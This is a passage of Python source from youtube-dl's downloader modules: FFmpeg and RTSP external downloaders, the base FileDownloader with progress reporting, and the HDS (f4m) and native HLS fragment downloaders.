            # http://git.videolan.org/?p=ffmpeg.git;a=commit;h=b4eb1f29ebddd60c41a2eb39f5af701e38e0d3fd)
            # We could switch to the following code if we are able to detect version properly
            # args += ['-http_proxy', proxy]
            env = os.environ.copy()
            compat_setenv('HTTP_PROXY', proxy, env=env)
            compat_setenv('http_proxy', proxy, env=env)

        protocol = info_dict.get('protocol')

        if protocol == 'rtmp':
            player_url = info_dict.get('player_url')
            page_url = info_dict.get('page_url')
            app = info_dict.get('app')
            play_path = info_dict.get('play_path')
            tc_url = info_dict.get('tc_url')
            flash_version = info_dict.get('flash_version')
            live = info_dict.get('rtmp_live', False)
            if player_url is not None:
                args += ['-rtmp_swfverify', player_url]
            if page_url is not None:
                args += ['-rtmp_pageurl', page_url]
            if app is not None:
                args += ['-rtmp_app', app]
            if play_path is not None:
                args += ['-rtmp_playpath', play_path]
            if tc_url is not None:
                args += ['-rtmp_tcurl', tc_url]
            if flash_version is not None:
                args += ['-rtmp_flashver', flash_version]
            if live:
                args += ['-rtmp_live', 'live']

        args += ['-i', url, '-c', 'copy']
        if protocol in ('m3u8', 'm3u8_native'):
            if self.params.get('hls_use_mpegts', False) or tmpfilename == '-':
                args += ['-f', 'mpegts']
            else:
                args += ['-f', 'mp4', '-bsf:a', 'aac_adtstoasc']
        elif protocol == 'rtmp':
            args += ['-f', 'flv']
        else:
            args += ['-f', EXT_TO_OUT_FORMATS.get(info_dict['ext'], info_dict['ext'])]

        args = [encodeArgument(opt) for opt in args]
        args.append(encodeFilename(ffpp._ffmpeg_filename_argument(tmpfilename), True))

        self._debug_cmd(args)

        proc = subprocess.Popen(args, stdin=subprocess.PIPE, env=env)
        try:
            retval = proc.wait()
        except KeyboardInterrupt:
            # subprocces.run would send the SIGKILL signal to ffmpeg and the
            # mp4 file couldn't be played, but if we ask ffmpeg to quit it
            # produces a file that is playable (this is mostly useful for live
            # streams). Note that Windows is not affected and produces playable
            # files (see https://github.com/rg3/youtube-dl/issues/8300).
            if sys.platform != 'win32':
                proc.communicate(b'q')
            raise
        return retval


class AVconvFD(FFmpegFD):
    pass

_BY_NAME = dict(
    (klass.get_basename(), klass)
    for name, klass in globals().items()
    if name.endswith('FD') and name != 'ExternalFD'
)


def list_external_downloaders():
    return sorted(_BY_NAME.keys())


def get_external_downloader(external_downloader):
    """ Given the name of the executable, see whether we support the given
        downloader . """
    # Drop .exe extension on Windows
    bn = os.path.splitext(os.path.basename(external_downloader))[0]
    return _BY_NAME[bn]






from __future__ import unicode_literals

import os
import subprocess

from .common import FileDownloader
from ..utils import (
    check_executable,
    encodeFilename,
)


class RtspFD(FileDownloader):
    def real_download(self, filename, info_dict):
        url = info_dict['url']
        self.report_destination(filename)
        tmpfilename = self.temp_name(filename)

        if check_executable('mplayer', ['-h']):
            args = [
                'mplayer', '-really-quiet', '-vo', 'null', '-vc', 'dummy',
                '-dumpstream', '-dumpfile', tmpfilename, url]
        elif check_executable('mpv', ['-h']):
            args = [
                'mpv', '-really-quiet', '--vo=null', '--stream-dump=' + tmpfilename, url]
        else:
            self.report_error('MMS or RTSP download detected but neither "mplayer" nor "mpv" could be run. Please install any.')
            return False

        self._debug_cmd(args)

        retval = subprocess.call(args)
        if retval == 0:
            fsize = os.path.getsize(encodeFilename(tmpfilename))
            self.to_screen('\r[%s] %s bytes' % (args[0], fsize))
            self.try_rename(tmpfilename, filename)
            self._hook_progress({
                'downloaded_bytes': fsize,
                'total_bytes': fsize,
                'filename': filename,
                'status': 'finished',
            })
            return True
        else:
            self.to_stderr('\n')
            self.report_error('%s exited with code %d' % (args[0], retval))
            return False






from __future__ import division, unicode_literals

import os
import re
import sys
import time
import random

from ..compat import compat_os_name
from ..utils import (
    encodeFilename,
    error_to_compat_str,
    decodeArgument,
    format_bytes,
    timeconvert,
)


class FileDownloader(object):
    """File Downloader class.

    File downloader objects are the ones responsible of downloading the
    actual video file and writing it to disk.

    File downloaders accept a lot of parameters. In order not to saturate
    the object constructor with arguments, it receives a dictionary of
    options instead.

    Available options:

    verbose:            Print additional info to stdout.
    quiet:              Do not print messages to stdout.
    ratelimit:          Download speed limit, in bytes/sec.
    retries:            Number of times to retry for HTTP error 5xx
    buffersize:         Size of download buffer in bytes.
    noresizebuffer:     Do not automatically resize the download buffer.
    continuedl:         Try to continue downloads if possible.
    noprogress:         Do not print the progress bar.
    logtostderr:        Log messages to stderr instead of stdout.
    consoletitle:       Display progress in console window's titlebar.
    nopart:             Do not use temporary .part files.
    updatetime:         Use the Last-modified header to set output file timestamps.
    test:               Download only first bytes to test the downloader.
    min_filesize:       Skip files smaller than this size
    max_filesize:       Skip files larger than this size
    xattr_set_filesize: Set ytdl.filesize user xattribute with expected size.
                        (experimental)
    external_downloader_args:  A list of additional command-line arguments for the
                        external downloader.
    hls_use_mpegts:     Use the mpegts container for HLS videos.

    Subclasses of this one must re-define the real_download method.
    """

    _TEST_FILE_SIZE = 10241
    params = None

    def __init__(self, ydl, params):
        """Create a FileDownloader object with the given options."""
        self.ydl = ydl
        self._progress_hooks = []
        self.params = params
        self.add_progress_hook(self.report_progress)

    @staticmethod
    def format_seconds(seconds):
        (mins, secs) = divmod(seconds, 60)
        (hours, mins) = divmod(mins, 60)
        if hours > 99:
            return '--:--:--'
        if hours == 0:
            return '%02d:%02d' % (mins, secs)
        else:
            return '%02d:%02d:%02d' % (hours, mins, secs)

    @staticmethod
    def calc_percent(byte_counter, data_len):
        if data_len is None:
            return None
        return float(byte_counter) / float(data_len) * 100.0

    @staticmethod
    def format_percent(percent):
        if percent is None:
            return '---.-%'
        return '%6s' % ('%3.1f%%' % percent)

    @staticmethod
    def calc_eta(start, now, total, current):
        if total is None:
            return None
        if now is None:
            now = time.time()
        dif = now - start
        if current == 0 or dif < 0.001:  # One millisecond
            return None
        rate = float(current) / dif
        return int((float(total) - float(current)) / rate)

    @staticmethod
    def format_eta(eta):
        if eta is None:
            return '--:--'
        return FileDownloader.format_seconds(eta)

    @staticmethod
    def calc_speed(start, now, bytes):
        dif = now - start
        if bytes == 0 or dif < 0.001:  # One millisecond
            return None
        return float(bytes) / dif

    @staticmethod
    def format_speed(speed):
        if speed is None:
            return '%10s' % '---b/s'
        return '%10s' % ('%s/s' % format_bytes(speed))

    @staticmethod
    def format_retries(retries):
        return 'inf' if retries == float('inf') else '%.0f' % retries

    @staticmethod
    def best_block_size(elapsed_time, bytes):
        new_min = max(bytes / 2.0, 1.0)
        new_max = min(max(bytes * 2.0, 1.0), 4194304)  # Do not surpass 4 MB
        if elapsed_time < 0.001:
            return int(new_max)
        rate = bytes / elapsed_time
        if rate > new_max:
            return int(new_max)
        if rate < new_min:
            return int(new_min)
        return int(rate)

    @staticmethod
    def parse_bytes(bytestr):
        """Parse a string indicating a byte quantity into an integer."""
        matchobj = re.match(r'(?i)^(\d+(?:\.\d+)?)([kMGTPEZY]?)$', bytestr)
        if matchobj is None:
            return None
        number = float(matchobj.group(1))
        multiplier = 1024.0 ** 'bkmgtpezy'.index(matchobj.group(2).lower())
        return int(round(number * multiplier))

    def to_screen(self, *args, **kargs):
        self.ydl.to_screen(*args, **kargs)

    def to_stderr(self, message):
        self.ydl.to_screen(message)

    def to_console_title(self, message):
        self.ydl.to_console_title(message)

    def trouble(self, *args, **kargs):
        self.ydl.trouble(*args, **kargs)

    def report_warning(self, *args, **kargs):
        self.ydl.report_warning(*args, **kargs)

    def report_error(self, *args, **kargs):
        self.ydl.report_error(*args, **kargs)

    def slow_down(self, start_time, now, byte_counter):
        """Sleep if the download speed is over the rate limit."""
        rate_limit = self.params.get('ratelimit')
        if rate_limit is None or byte_counter == 0:
            return
        if now is None:
            now = time.time()
        elapsed = now - start_time
        if elapsed <= 0.0:
            return
        speed = float(byte_counter) / elapsed
        if speed > rate_limit:
            time.sleep(max((byte_counter // rate_limit) - elapsed, 0))

    def temp_name(self, filename):
        """Returns a temporary filename for the given filename."""
        if self.params.get('nopart', False) or filename == '-' or \
                (os.path.exists(encodeFilename(filename)) and not os.path.isfile(encodeFilename(filename))):
            return filename
        return filename + '.part'

    def undo_temp_name(self, filename):
        if filename.endswith('.part'):
            return filename[:-len('.part')]
        return filename

    def try_rename(self, old_filename, new_filename):
        try:
            if old_filename == new_filename:
                return
            os.rename(encodeFilename(old_filename), encodeFilename(new_filename))
        except (IOError, OSError) as err:
            self.report_error('unable to rename file: %s' % error_to_compat_str(err))

    def try_utime(self, filename, last_modified_hdr):
        """Try to set the last-modified time of the given file."""
        if last_modified_hdr is None:
            return
        if not os.path.isfile(encodeFilename(filename)):
            return
        timestr = last_modified_hdr
        if timestr is None:
            return
        filetime = timeconvert(timestr)
        if filetime is None:
            return filetime
        # Ignore obviously invalid dates
        if filetime == 0:
            return
        try:
            os.utime(filename, (time.time(), filetime))
        except Exception:
            pass
        return filetime

    def report_destination(self, filename):
        """Report destination filename."""
        self.to_screen('[download] Destination: ' + filename)

    def _report_progress_status(self, msg, is_last_line=False):
        fullmsg = '[download] ' + msg
        if self.params.get('progress_with_newline', False):
            self.to_screen(fullmsg)
        else:
            if compat_os_name == 'nt':
                prev_len = getattr(self, '_report_progress_prev_line_length',
                                   0)
                if prev_len > len(fullmsg):
                    fullmsg += ' ' * (prev_len - len(fullmsg))
                self._report_progress_prev_line_length = len(fullmsg)
                clear_line = '\r'
            else:
                clear_line = ('\r\x1b[K' if sys.stderr.isatty() else '\r')
            self.to_screen(clear_line + fullmsg, skip_eol=not is_last_line)
        self.to_console_title('youtube-dl ' + msg)

    def report_progress(self, s):
        if s['status'] == 'finished':
            if self.params.get('noprogress', False):
                self.to_screen('[download] Download completed')
            else:
                s['_total_bytes_str'] = format_bytes(s['total_bytes'])
                if s.get('elapsed') is not None:
                    s['_elapsed_str'] = self.format_seconds(s['elapsed'])
                    msg_template = '100%% of %(_total_bytes_str)s in %(_elapsed_str)s'
                else:
                    msg_template = '100%% of %(_total_bytes_str)s'
                self._report_progress_status(
                    msg_template % s, is_last_line=True)

        if self.params.get('noprogress'):
            return

        if s['status'] != 'downloading':
            return

        if s.get('eta') is not None:
            s['_eta_str'] = self.format_eta(s['eta'])
        else:
            s['_eta_str'] = 'Unknown ETA'

        if s.get('total_bytes') and s.get('downloaded_bytes') is not None:
            s['_percent_str'] = self.format_percent(100 * s['downloaded_bytes'] / s['total_bytes'])
        elif s.get('total_bytes_estimate') and s.get('downloaded_bytes') is not None:
            s['_percent_str'] = self.format_percent(100 * s['downloaded_bytes'] / s['total_bytes_estimate'])
        else:
            if s.get('downloaded_bytes') == 0:
                s['_percent_str'] = self.format_percent(0)
            else:
                s['_percent_str'] = 'Unknown %'

        if s.get('speed') is not None:
            s['_speed_str'] = self.format_speed(s['speed'])
        else:
            s['_speed_str'] = 'Unknown speed'

        if s.get('total_bytes') is not None:
            s['_total_bytes_str'] = format_bytes(s['total_bytes'])
            msg_template = '%(_percent_str)s of %(_total_bytes_str)s at %(_speed_str)s ETA %(_eta_str)s'
        elif s.get('total_bytes_estimate') is not None:
            s['_total_bytes_estimate_str'] = format_bytes(s['total_bytes_estimate'])
            msg_template = '%(_percent_str)s of ~%(_total_bytes_estimate_str)s at %(_speed_str)s ETA %(_eta_str)s'
        else:
            if s.get('downloaded_bytes') is not None:
                s['_downloaded_bytes_str'] = format_bytes(s['downloaded_bytes'])
                if s.get('elapsed'):
                    s['_elapsed_str'] = self.format_seconds(s['elapsed'])
                    msg_template = '%(_downloaded_bytes_str)s at %(_speed_str)s (%(_elapsed_str)s)'
                else:
                    msg_template = '%(_downloaded_bytes_str)s at %(_speed_str)s'
            else:
                msg_template = '%(_percent_str)s % at %(_speed_str)s ETA %(_eta_str)s'

        self._report_progress_status(msg_template % s)

    def report_resuming_byte(self, resume_len):
        """Report attempt to resume at given byte."""
        self.to_screen('[download] Resuming download at byte %s' % resume_len)

    def report_retry(self, count, retries):
        """Report retry in case of HTTP error 5xx"""
        self.to_screen(
            '[download] Got server HTTP error. Retrying (attempt %d of %s)...'
            % (count, self.format_retries(retries)))

    def report_file_already_downloaded(self, file_name):
        """Report file has already been fully downloaded."""
        try:
            self.to_screen('[download] %s has already been downloaded' % file_name)
        except UnicodeEncodeError:
            self.to_screen('[download] The file has already been downloaded')

    def report_unable_to_resume(self):
        """Report it was impossible to resume download."""
        self.to_screen('[download] Unable to resume')

    def download(self, filename, info_dict):
        """Download to a filename using the info from info_dict
        Return True on success and False otherwise
        """

        nooverwrites_and_exists = (
            self.params.get('nooverwrites', False) and
            os.path.exists(encodeFilename(filename))
        )

        continuedl_and_exists = (
            self.params.get('continuedl', True) and
            os.path.isfile(encodeFilename(filename)) and
            not self.params.get('nopart', False)
        )

        # Check file already present
        if filename != '-' and (nooverwrites_and_exists or continuedl_and_exists):
            self.report_file_already_downloaded(filename)
            self._hook_progress({
                'filename': filename,
                'status': 'finished',
                'total_bytes': os.path.getsize(encodeFilename(filename)),
            })
            return True

        min_sleep_interval = self.params.get('sleep_interval')
        if min_sleep_interval:
            max_sleep_interval = self.params.get('max_sleep_interval', min_sleep_interval)
            print(min_sleep_interval, max_sleep_interval)
            sleep_interval = random.uniform(min_sleep_interval, max_sleep_interval)
            self.to_screen('[download] Sleeping %s seconds...' % sleep_interval)
            time.sleep(sleep_interval)

        return self.real_download(filename, info_dict)

    def real_download(self, filename, info_dict):
        """Real download process. Redefine in subclasses."""
        raise NotImplementedError('This method must be implemented by subclasses')

    def _hook_progress(self, status):
        for ph in self._progress_hooks:
            ph(status)

    def add_progress_hook(self, ph):
        # See YoutubeDl.py (search for progress_hooks) for a description of
        # this interface
        self._progress_hooks.append(ph)

    def _debug_cmd(self, args, exe=None):
        if not self.params.get('verbose', False):
            return

        str_args = [decodeArgument(a) for a in args]

        if exe is None:
            exe = os.path.basename(str_args[0])

        try:
            import pipes
            shell_quote = lambda args: ' '.join(map(pipes.quote, str_args))
        except ImportError:
            shell_quote = repr
        self.to_screen('[debug] %s command line: %s' % (
            exe, shell_quote(str_args)))






from __future__ import division, unicode_literals

import base64
import io
import itertools
import os
import time

from .fragment import FragmentFD
from ..compat import (
    compat_etree_fromstring,
    compat_urlparse,
    compat_urllib_error,
    compat_urllib_parse_urlparse,
    compat_struct_pack,
    compat_struct_unpack,
)
from ..utils import (
    encodeFilename,
    fix_xml_ampersands,
    sanitize_open,
    xpath_text,
)


class DataTruncatedError(Exception):
    pass


class FlvReader(io.BytesIO):
    """
    Reader for Flv files
    The file format is documented in https://www.adobe.com/devnet/f4v.html
    """

    def read_bytes(self, n):
        data = self.read(n)
        if len(data) < n:
            raise DataTruncatedError(
                'FlvReader error: need %d bytes while only %d bytes got' % (
                    n, len(data)))
        return data

    # Utility functions for reading numbers and strings
    def read_unsigned_long_long(self):
        return compat_struct_unpack('!Q', self.read_bytes(8))[0]

    def read_unsigned_int(self):
        return compat_struct_unpack('!I', self.read_bytes(4))[0]

    def read_unsigned_char(self):
        return compat_struct_unpack('!B', self.read_bytes(1))[0]

    def read_string(self):
        res = b''
        while True:
            char = self.read_bytes(1)
            if char == b'\x00':
                break
            res += char
        return res

    def read_box_info(self):
        """
        Read a box and return the info as a tuple: (box_size, box_type, box_data)
        """
        real_size = size = self.read_unsigned_int()
        box_type = self.read_bytes(4)
        header_end = 8
        if size == 1:
            real_size = self.read_unsigned_long_long()
            header_end = 16
        return real_size, box_type, self.read_bytes(real_size - header_end)

    def read_asrt(self):
        # version
        self.read_unsigned_char()
        # flags
        self.read_bytes(3)
        quality_entry_count = self.read_unsigned_char()
        # QualityEntryCount
        for i in range(quality_entry_count):
            self.read_string()

        segment_run_count = self.read_unsigned_int()
        segments = []
        for i in range(segment_run_count):
            first_segment = self.read_unsigned_int()
            fragments_per_segment = self.read_unsigned_int()
            segments.append((first_segment, fragments_per_segment))

        return {
            'segment_run': segments,
        }

    def read_afrt(self):
        # version
        self.read_unsigned_char()
        # flags
        self.read_bytes(3)
        # time scale
        self.read_unsigned_int()

        quality_entry_count = self.read_unsigned_char()
        # QualitySegmentUrlModifiers
        for i in range(quality_entry_count):
            self.read_string()

        fragments_count = self.read_unsigned_int()
        fragments = []
        for i in range(fragments_count):
            first = self.read_unsigned_int()
            first_ts = self.read_unsigned_long_long()
            duration = self.read_unsigned_int()
            if duration == 0:
                discontinuity_indicator = self.read_unsigned_char()
            else:
                discontinuity_indicator = None
            fragments.append({
                'first': first,
                'ts': first_ts,
                'duration': duration,
                'discontinuity_indicator': discontinuity_indicator,
            })

        return {
            'fragments': fragments,
        }

    def read_abst(self):
        # version
        self.read_unsigned_char()
        # flags
        self.read_bytes(3)

        self.read_unsigned_int()  # BootstrapinfoVersion
        # Profile,Live,Update,Reserved
        flags = self.read_unsigned_char()
        live = flags & 0x20 != 0
        # time scale
        self.read_unsigned_int()
        # CurrentMediaTime
        self.read_unsigned_long_long()
        # SmpteTimeCodeOffset
        self.read_unsigned_long_long()

        self.read_string()  # MovieIdentifier
        server_count = self.read_unsigned_char()
        # ServerEntryTable
        for i in range(server_count):
            self.read_string()
        quality_count = self.read_unsigned_char()
        # QualityEntryTable
        for i in range(quality_count):
            self.read_string()
        # DrmData
        self.read_string()
        # MetaData
        self.read_string()

        segments_count = self.read_unsigned_char()
        segments = []
        for i in range(segments_count):
            box_size, box_type, box_data = self.read_box_info()
            assert box_type == b'asrt'
            segment = FlvReader(box_data).read_asrt()
            segments.append(segment)
        fragments_run_count = self.read_unsigned_char()
        fragments = []
        for i in range(fragments_run_count):
            box_size, box_type, box_data = self.read_box_info()
            assert box_type == b'afrt'
            fragments.append(FlvReader(box_data).read_afrt())

        return {
            'segments': segments,
            'fragments': fragments,
            'live': live,
        }

    def read_bootstrap_info(self):
        total_size, box_type, box_data = self.read_box_info()
        assert box_type == b'abst'
        return FlvReader(box_data).read_abst()


def read_bootstrap_info(bootstrap_bytes):
    return FlvReader(bootstrap_bytes).read_bootstrap_info()


def build_fragments_list(boot_info):
    """ Return a list of (segment, fragment) for each fragment in the video """
    res = []
    segment_run_table = boot_info['segments'][0]
    fragment_run_entry_table = boot_info['fragments'][0]['fragments']
    first_frag_number = fragment_run_entry_table[0]['first']
    fragments_counter = itertools.count(first_frag_number)
    for segment, fragments_count in segment_run_table['segment_run']:
        # In some live HDS streams (for example Rai), `fragments_count` is
        # abnormal and causing out-of-memory errors. It's OK to change the
        # number of fragments for live streams as they are updated periodically
        if fragments_count == 4294967295 and boot_info['live']:
            fragments_count = 2
        for _ in range(fragments_count):
            res.append((segment, next(fragments_counter)))

    if boot_info['live']:
        res = res[-2:]

    return res


def write_unsigned_int(stream, val):
    stream.write(compat_struct_pack('!I', val))


def write_unsigned_int_24(stream, val):
    stream.write(compat_struct_pack('!I', val)[1:])


def write_flv_header(stream):
    """Writes the FLV header to stream"""
    # FLV header
    stream.write(b'FLV\x01')
    stream.write(b'\x05')
    stream.write(b'\x00\x00\x00\x09')
    stream.write(b'\x00\x00\x00\x00')


def write_metadata_tag(stream, metadata):
    """Writes optional metadata tag to stream"""
    SCRIPT_TAG = b'\x12'
    FLV_TAG_HEADER_LEN = 11

    if metadata:
        stream.write(SCRIPT_TAG)
        write_unsigned_int_24(stream, len(metadata))
        stream.write(b'\x00\x00\x00\x00\x00\x00\x00')
        stream.write(metadata)
        write_unsigned_int(stream, FLV_TAG_HEADER_LEN + len(metadata))


def remove_encrypted_media(media):
    return list(filter(lambda e: 'drmAdditionalHeaderId' not in e.attrib and
                                 'drmAdditionalHeaderSetId' not in e.attrib,
                       media))


def _add_ns(prop):
    return '{http://ns.adobe.com/f4m/1.0}%s' % prop


class F4mFD(FragmentFD):
    """
    A downloader for f4m manifests or AdobeHDS.
    """

    FD_NAME = 'f4m'

    def _get_unencrypted_media(self, doc):
        media = doc.findall(_add_ns('media'))
        if not media:
            self.report_error('No media found')
        for e in (doc.findall(_add_ns('drmAdditionalHeader')) +
                  doc.findall(_add_ns('drmAdditionalHeaderSet'))):
            # If id attribute is missing it's valid for all media nodes
            # without drmAdditionalHeaderId or drmAdditionalHeaderSetId attribute
            if 'id' not in e.attrib:
                self.report_error('Missing ID in f4m DRM')
        media = remove_encrypted_media(media)
        if not media:
            self.report_error('Unsupported DRM')
        return media

    def _get_bootstrap_from_url(self, bootstrap_url):
        bootstrap = self.ydl.urlopen(bootstrap_url).read()
        return read_bootstrap_info(bootstrap)

    def _update_live_fragments(self, bootstrap_url, latest_fragment):
        fragments_list = []
        retries = 30
        while (not fragments_list) and (retries > 0):
            boot_info = self._get_bootstrap_from_url(bootstrap_url)
            fragments_list = build_fragments_list(boot_info)
            fragments_list = [f for f in fragments_list if f[1] > latest_fragment]
            if not fragments_list:
                # Retry after a while
                time.sleep(5.0)
                retries -= 1

        if not fragments_list:
            self.report_error('Failed to update fragments')

        return fragments_list

    def _parse_bootstrap_node(self, node, base_url):
        # Sometimes non empty inline bootstrap info can be specified along
        # with bootstrap url attribute (e.g. dummy inline bootstrap info
        # contains whitespace characters in [1]). We will prefer bootstrap
        # url over inline bootstrap info when present.
        # 1. http://live-1-1.rutube.ru/stream/1024/HDS/SD/C2NKsS85HQNckgn5HdEmOQ/1454167650/S-s604419906/move/four/dirs/upper/1024-576p.f4m
        bootstrap_url = node.get('url')
        if bootstrap_url:
            bootstrap_url = compat_urlparse.urljoin(
                base_url, bootstrap_url)
            boot_info = self._get_bootstrap_from_url(bootstrap_url)
        else:
            bootstrap_url = None
            bootstrap = base64.b64decode(node.text.encode('ascii'))
            boot_info = read_bootstrap_info(bootstrap)
        return boot_info, bootstrap_url

    def real_download(self, filename, info_dict):
        man_url = info_dict['url']
        requested_bitrate = info_dict.get('tbr')
        self.to_screen('[%s] Downloading f4m manifest' % self.FD_NAME)
        urlh = self.ydl.urlopen(man_url)
        man_url = urlh.geturl()
        # Some manifests may be malformed, e.g. prosiebensat1 generated manifests
        # (see https://github.com/rg3/youtube-dl/issues/6215#issuecomment-121704244
        # and https://github.com/rg3/youtube-dl/issues/7823)
        manifest = fix_xml_ampersands(urlh.read().decode('utf-8', 'ignore')).strip()

        doc = compat_etree_fromstring(manifest)
        formats = [(int(f.attrib.get('bitrate', -1)), f)
                   for f in self._get_unencrypted_media(doc)]
        if requested_bitrate is None or len(formats) == 1:
            # get the best format
            formats = sorted(formats, key=lambda f: f[0])
            rate, media = formats[-1]
        else:
            rate, media = list(filter(
                lambda f: int(f[0]) == requested_bitrate, formats))[0]

        base_url = compat_urlparse.urljoin(man_url, media.attrib['url'])
        bootstrap_node = doc.find(_add_ns('bootstrapInfo'))
        # From Adobe F4M 3.0 spec:
        # The <baseURL> element SHALL be the base URL for all relative
        # (HTTP-based) URLs in the manifest. If <baseURL> is not present, said
        # URLs should be relative to the location of the containing document.
        boot_info, bootstrap_url = self._parse_bootstrap_node(bootstrap_node, man_url)
        live = boot_info['live']
        metadata_node = media.find(_add_ns('metadata'))
        if metadata_node is not None:
            metadata = base64.b64decode(metadata_node.text.encode('ascii'))
        else:
            metadata = None

        fragments_list = build_fragments_list(boot_info)
        test = self.params.get('test', False)
        if test:
            # We only download the first fragment
            fragments_list = fragments_list[:1]
        total_frags = len(fragments_list)
        # For some akamai manifests we'll need to add a query to the fragment url
        akamai_pv = xpath_text(doc, _add_ns('pv-2.0'))

        ctx = {
            'filename': filename,
            'total_frags': total_frags,
            'live': live,
        }

        self._prepare_frag_download(ctx)

        dest_stream = ctx['dest_stream']

        write_flv_header(dest_stream)
        if not live:
            write_metadata_tag(dest_stream, metadata)

        base_url_parsed = compat_urllib_parse_urlparse(base_url)

        self._start_frag_download(ctx)

        frags_filenames = []
        while fragments_list:
            seg_i, frag_i = fragments_list.pop(0)
            name = 'Seg%d-Frag%d' % (seg_i, frag_i)
            query = []
            if base_url_parsed.query:
                query.append(base_url_parsed.query)
            if akamai_pv:
                query.append(akamai_pv.strip(';'))
            if info_dict.get('extra_param_to_segment_url'):
                query.append(info_dict['extra_param_to_segment_url'])
            url_parsed = base_url_parsed._replace(path=base_url_parsed.path + name, query='&'.join(query))
            frag_filename = '%s-%s' % (ctx['tmpfilename'], name)
            try:
                success = ctx['dl'].download(frag_filename, {'url': url_parsed.geturl()})
                if not success:
                    return False
                (down, frag_sanitized) = sanitize_open(frag_filename, 'rb')
                down_data = down.read()
                down.close()
                reader = FlvReader(down_data)
                while True:
                    try:
                        _, box_type, box_data = reader.read_box_info()
                    except DataTruncatedError:
                        if test:
                            # In tests, segments may be truncated, and thus
                            # FlvReader may not be able to parse the whole
                            # chunk. If so, write the segment as is
                            # See https://github.com/rg3/youtube-dl/issues/9214
                            dest_stream.write(down_data)
                            break
                        raise
                    if box_type == b'mdat':
                        dest_stream.write(box_data)
                        break
                if live:
                    os.remove(encodeFilename(frag_sanitized))
                else:
                    frags_filenames.append(frag_sanitized)
            except (compat_urllib_error.HTTPError, ) as err:
                if live and (err.code == 404 or err.code == 410):
                    # We didn't keep up with the live window. Continue
                    # with the next available fragment.
                    msg = 'Fragment %d unavailable' % frag_i
                    self.report_warning(msg)
                    fragments_list = []
                else:
                    raise

            if not fragments_list and not test and live and bootstrap_url:
                fragments_list = self._update_live_fragments(bootstrap_url, frag_i)
                total_frags += len(fragments_list)
                if fragments_list and (fragments_list[0][1] > frag_i + 1):
                    msg = 'Missed %d fragments' % (fragments_list[0][1] - (frag_i + 1))
                    self.report_warning(msg)

        self._finish_frag_download(ctx)

        for frag_file in frags_filenames:
            os.remove(encodeFilename(frag_file))

        return True






from __future__ import unicode_literals

import os.path
import re
import binascii
try:
    from Crypto.Cipher import AES
    can_decrypt_frag = True
except ImportError:
    can_decrypt_frag = False

from .fragment import FragmentFD
from .external import FFmpegFD

from ..compat import (
    compat_urlparse,
    compat_struct_pack,
)
from ..utils import (
    encodeFilename,
    sanitize_open,
    parse_m3u8_attributes,
    update_url_query,
)


class HlsFD(FragmentFD):
    """ A limited implementation that does not require ffmpeg """

    FD_NAME = 'hlsnative'

    @staticmethod
    def can_download(manifest):
        UNSUPPORTED_FEATURES = (
            r'#EXT-X-KEY:METHOD=(?!NONE|AES-128)',  # encrypted streams [1]
            r'#EXT-X-BYTERANGE',  # playlists composed of byte ranges of media files [2]

            # Live streams heuristic does not always work (e.g. geo restricted to Germany
            # http://hls-geo.daserste.de/i/videoportal/Film/c_620000/622873/format,716451,716457,716450,716458,716459,.mp4.csmil/index_4_av.m3u8?null=0)
            # r'#EXT-X-MEDIA-SEQUENCE:(?!0$)',  # live streams [3]

            # This heuristic also is not correct since segments may not be appended as well.
            # Twitch vods of finished streams have EXT-X-PLAYLIST-TYPE:EVENT despite
            # no segments will definitely be appended to the end of the playlist.
            # r'#EXT-X-PLAYLIST-TYPE:EVENT',  # media segments may be appended to the end of
            #                                 # event media playlists [4]

            # 1. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.2.4
            # 2. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.2.2
            # 3. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.3.2
            # 4. https://tools.ietf.org/html/draft-pantos-http-live-streaming-17#section-4.3.3.5
        )
        check_results = [not re.search(feature, manifest) for feature in UNSUPPORTED_FEATURES]
        check_results.append(can_decrypt_frag or '#EXT-X-KEY:METHOD=AES-128' not in manifest)
        return all(check_results)

    def real_download(self, filename, info_dict):
        man_url = info_dict['url']
        self.to_screen('[%s] Downloading m3u8 manifest' % self.FD_NAME)
        manifest = self.ydl.urlopen(man_url).read()

        s = manifest.decode('utf-8', 'ignore')

        if not self.can_download(s):
            self.report_warning(
                'hlsnative has detected features it does not support, '
                'extraction will be delegated to ffmpeg')
            fd = FFmpegFD(self.ydl, self.params)
            for ph in self._progress_hooks:
                fd.add_progress_hook(ph)
            return fd.real_download(filename, info_dict)

        total_frags = 0
        for line in s.splitlines():
            line = line.strip()
            if line and not line.startswith('#'):
                total_frags += 1

        ctx = {
            'filename': filename,
            'total_frags': total_frags,
        }

        self._prepare_and_start_frag_download(ctx)

        extra_param_to_segment_url = info_dict.get('extra_param_to_segment_url')
        i = 0
        media_sequence = 0
        decrypt_info = {'METHOD': 'NONE'}
        frags_filenames = []
        for line in s.splitlines():
            line = line.strip()
            if line:
                if not line.startswith('#'):
                    frag_url = (
                        line
                        if re.match(r'^https?://', line)
                        else compat_urlparse.urljoin(man_url, line))
                    frag_filename = '%s-Frag%d' % (ctx['tmpfilename'], i)
                    if extra_param_to_segment_url:
                        frag_url = update_url_query(frag_url, extra_param_to_segment_url)
                    success = ctx['dl'].download(frag_filename, {'url': frag_url})
                    if not success:
                        return False
                    down, frag_sanitized = sanitize_open(frag_filename, 'rb')
                    frag_content = down.read()
                    down.close()
                    if decrypt_info['METHOD'] == 'AES-128':
                        iv = decrypt_info.get('IV') or compat_struct_pack('>8xq', media_sequence)
                        frag_content = AES.new(
                            decrypt_info['KEY'], AES.MODE_CBC, iv).decrypt(frag_content)
                    ctx['dest_stream'].write(frag_content)
                    frags_filenames.append(frag_sanitized)
                    # We only download the first fragment during the test
                    if self.params.get('test', False):
                        break
                    i += 1
                    media_sequence += 1
                elif line.startswith('#EXT-X-KEY'):
                    decrypt_info = parse_m3u8_attributes(line[11:])
                    if decrypt_info['METHOD'] == 'AES-128':
                        if 'IV' in decrypt_info:
                            decrypt_info['IV'] = binascii.unhexlify(decrypt_info['IV'][2:])
                        if not re.match(r'^https?://', decrypt_info['URI']):
                            decrypt_info['URI'] = compat_urlparse.urljoin(
                                man_url, decrypt_info['URI'])
                        if extra_param_to_segment_url:
                            decrypt_info['URI'] = update_url_query(decrypt_info['URI'], extra_param_to_segment_url)
                        decrypt_info['KEY'] = self.ydl.urlopen(decrypt_info['URI']).read()
                elif line.startswith('#EXT-X-MEDIA-SEQUENCE'):
                    media_sequence = int(line[22:])

        self._finish_frag_download(ctx)

        for frag_file in frags_filenames:
